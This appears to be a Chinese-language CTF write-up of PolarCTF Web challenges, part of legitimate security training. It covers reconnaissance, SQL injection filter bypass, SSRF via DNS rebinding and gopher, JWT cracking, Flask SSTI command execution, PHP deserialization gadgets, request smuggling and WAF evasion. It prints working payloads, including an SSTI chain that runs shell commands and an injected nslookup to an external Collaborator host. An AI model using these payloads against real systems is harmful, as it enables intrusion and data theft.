PolarCTF Web赛题实战:从入门到进阶技巧

1. PolarCTF Web赛题实战笔记:从入门到进阶

作为一名长期活跃在CTF赛场的选手,我参加了最近几届PolarCTF比赛,发现Web类题目占比逐年提升,且难度梯度设置合理,非常适合作为Web安全学习的实战素材。本文将系统梳理我在PolarCTF Web赛题中的解题思路和技巧沉淀,涵盖基础考点到高阶漏洞利用的完整知识链。

提示:本文所有解题环境均基于PolarCTF官方提供的在线靶机或本地Docker复现环境,部分题目已对敏感信息做脱敏处理。

1.1 典型Web赛题分类解析

PolarCTF的Web题目主要分为以下几类:

  1. 信息泄露类:

    • 源码泄露(.git/.svn)
    • 备份文件泄露(www.zip/index.php.bak)
    • 敏感接口暴露(/admin/config.php)
  2. 注入类:

    • SQL注入(布尔/时间盲注)
    • XSS(存储型/DOM型)
    • 模板注入(SSTI)
  3. 逻辑漏洞类:

    • 越权访问(水平/垂直)
    • 支付逻辑漏洞
    • 验证码绕过
  4. 协议特性类:

    • HTTP请求走私
    • SSRF利用
    • CRLF注入
  5. 新兴技术类:

    • WebAssembly逆向
    • GraphQL接口攻击
    • JWT伪造

2. 基础题目通关技巧

2.1 信息收集三板斧

在PolarCTF的初级Web题中,80%的flag可以通过系统化的信息收集发现。我的标准操作流程如下:

  1. 基础扫描:

    # 使用dirsearch进行目录扫描 python3 dirsearch.py -u http://target.com -e php,html,zip,bak -x 403,404 -t 50 # 检查常见备份文件 curl http://target.com/index.php.bak wget http://target.com/www.zip
  2. 源码审计: 发现源码后立即检查:

    • 硬编码凭证(password/admin/secret)
    • 注释中的线索(TODO/FIXME)
    • 非常规接口(/debug/console)
  3. HTTP头分析:

    curl -I http://target.com # 特别注意Server/X-Powered-By/Set-Cookie等字段

2.2 SQL注入实战案例

PolarCTF 2023初赛有一道典型SQL注入题,登录界面存在过滤:

# 模拟题目过滤逻辑 def filter_input(input): blacklist = ["union", "select", "or", "and", " "] for word in blacklist: input = input.replace(word, "") return input

绕过方案:

  1. 使用注释符替代空格:/**/
  2. 大小写混合:SeLeCt
  3. 双重URL编码:%2520代替空格

最终payload:

username=admin'/**/UnIoN/**/SeLeCt/**/1,2,flag/**/FrOm/**/secret_table%23

3. 进阶题目突破要点

3.1 SSRF绕过技巧

在PolarCTF 2024半决赛遇到一道SSRF限制题,要求访问内网http://internal/flag.php但有以下限制:

  • 禁用http:///https://协议
  • 必须包含polarctf.com域名

解决方案:

  1. 利用DNS重绑定技术:

    # 配置DNS解析记录 evil.polarctf.com A记录 → 外部IP(1.1.1.1) TTL设置为0 快速修改A记录为内网IP(192.168.1.1)
  2. 使用非标准协议:

    gopher://internal:80/_GET%20/flag.php%20HTTP/1.1%0AHost:%20internal%0A%0A

3.2 JWT伪造实战

遇到使用JWT认证的题目时,按以下步骤操作:

  1. 获取样例JWT:

    eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoiZ3Vlc3QifQ.KEE6F7b6YwDqHk6WQq7ZQ7wQ6WQq7ZQ7wQ6WQq7ZQ7w
  2. 使用jwt_tool破解弱密钥:

    python3 jwt_tool.py -t http://target.com -rh "Authorization: Bearer <JWT>" -C -d wordlist.txt
  3. 伪造admin权限:

    import jwt new_token = jwt.encode({"user":"admin"}, "weakkey", algorithm="HS256")

4. 高频漏洞利用模板

4.1 Flask SSTI利用链

当发现Python Flask模板注入时,使用以下payload逐步测试:

  1. 基础检测:

    {{7*7}} → 49 {{config}} → 显示配置信息
  2. 命令执行:

    {{''.__class__.__mro__[1].__subclasses__()[413]('cat /flag',shell=True,stdout=-1).communicate()[0].strip()}}
  3. 绕过过滤技巧:

    • 使用|attr()替代点号
    • 十六进制编码敏感字符
    • 利用字符串拼接:'fla'+'g'

4.2 PHP反序列化漏洞

对于PHP反序列化题目,标准攻击流程:

  1. 生成恶意序列化数据:

    class Exploit { public $cmd = "cat /flag"; } echo serialize(new Exploit);
  2. 寻找触发点:

    • unserialize($_COOKIE['data'])
    • file_get_contents("php://input")
  3. 使用gadget链:

    phpggc -l # 列出可用链 phpggc Monolog/RCE1 system "cat /flag" -p

5. 实战调试技巧

5.1 浏览器开发者工具妙用

  1. DOM断点:

    • 在元素上右键 → Break on → attribute modifications
    • 追踪动态生成的JS代码
  2. XHR拦截:

    // 在Console中重写fetch const originalFetch = window.fetch; window.fetch = function() { console.log("Intercepted:", arguments); return originalFetch.apply(this, arguments); }
  3. 本地覆盖:

    • Sources → Overrides → 创建本地文件夹
    • 修改JS/CSS文件实时生效

5.2 Burp Suite进阶用法

  1. Intruder爆破技巧:

    • 使用Cluster bomb攻击类型处理多参数组合
    • 设置Grep - Extract自动捕获响应中的flag格式
  2. Macro配置:

    # 自动登录后获取新session Macro: - Request: POST /login Params: username=admin&password=123456 - Extract: Set-Cookie: session=(.*?)
  3. Collaborator检测盲注:

    ||nslookup ${subdomain}.burpcollaborator.net||

6. 防御绕过艺术

6.1 WAF绕过实战

遇到Cloudflare等WAF时,尝试以下方法:

  1. 参数污染:

    ?id=1&id=union select 1,2,3--
  2. 注释混淆:

    /*!50000select*/ 1,2,flag from secret
  3. 分块传输编码:

    import requests headers = {'Transfer-Encoding': 'chunked'} data = "1\r\nA\r\n0\r\n\r\nGET /flag HTTP/1.1\r\nHost: internal\r\n\r\n" requests.post("http://target.com", headers=headers, data=data)

6.2 代码审计技巧

  1. 危险函数定位:

    # PHP grep -r "eval(" src/ grep -r "system(" src/ # Java grep -r "Runtime.getRuntime().exec" src/
  2. 路由分析:

    # Flask路由提取 from flask import Flask app = Flask(__name__) print(app.url_map)
  3. 依赖库漏洞检查:

    npm audit pip-audit

7. 比赛策略与工具链

7.1 个人工具包配置

我的CTF Web渗透工具链:

  1. 基础环境:

    • Kali Linux虚拟机(快照功能必备)
    • Chrome + Firefox双浏览器
    • Burp Suite Pro + FoxyProxy
  2. 脚本集合:

    ~/tools/ ├── sqlmap/ # 注入自动化 ├── ffuf/ # 目录爆破 ├── jwt_tool/ # JWT分析 ├── ysoserial/ # 反序列化 └── custom_scripts/ # 自研脚本
  3. 实用小工具:

    • CyberChef本地部署
    • Postman接口测试
    • Wappalyzer技术栈识别

7.2 团队协作流程

高效团队作战模式:

  1. 任务分配:

    • 信息收集(1人)
    • 代码审计(2人)
    • 漏洞利用(1人)
    • 文档记录(1人)
  2. 知识共享:

    ## [Web] 题目名称 ### 发现时间 ### 解题步骤 1. 发现注入点 2. 绕过过滤 3. 获取flag ### 注意事项
  3. 应急方案:

    • 遇到卡题15分钟立即求助
    • 每30分钟同步进展
    • 最后1小时集中冲刺高分题

8. 赛后复盘与提升

8.1 错题本建设

我维护的Web漏洞错题本结构:

漏洞类型题目名称关键突破点失败原因解决方案
SSTIPolarCTF2023-Flask过滤_字符未尝试`attr()`
JWTPolarCTF2024-Admin弱密钥爆破字典不全改用rockyou.txt

8.2 技能提升路径

根据PolarCTF题目趋势制定的学习计划:

  1. 基础巩固:

    • 《Web安全攻防实战》
    • OWASP Top 10实验
  2. 专项突破:

    • 每周2道SSTI题目
    • 研究新型WAF绕过技术
  3. 实战演练:

    • HackTheBox Web挑战
    • CTFtime赛事日历

在最近一次PolarCTF比赛中,我通过系统化的信息收集发现了一个被遗忘的.git目录,通过git reset --hard恢复了被删除的config.php文件,其中包含数据库凭证。这个经验让我意识到,即使在看似严密的系统中,开发人员的疏忽往往是最脆弱的突破口。建议新手玩家养成检查版本控制目录的习惯,这个简单的动作可能带来意外收获。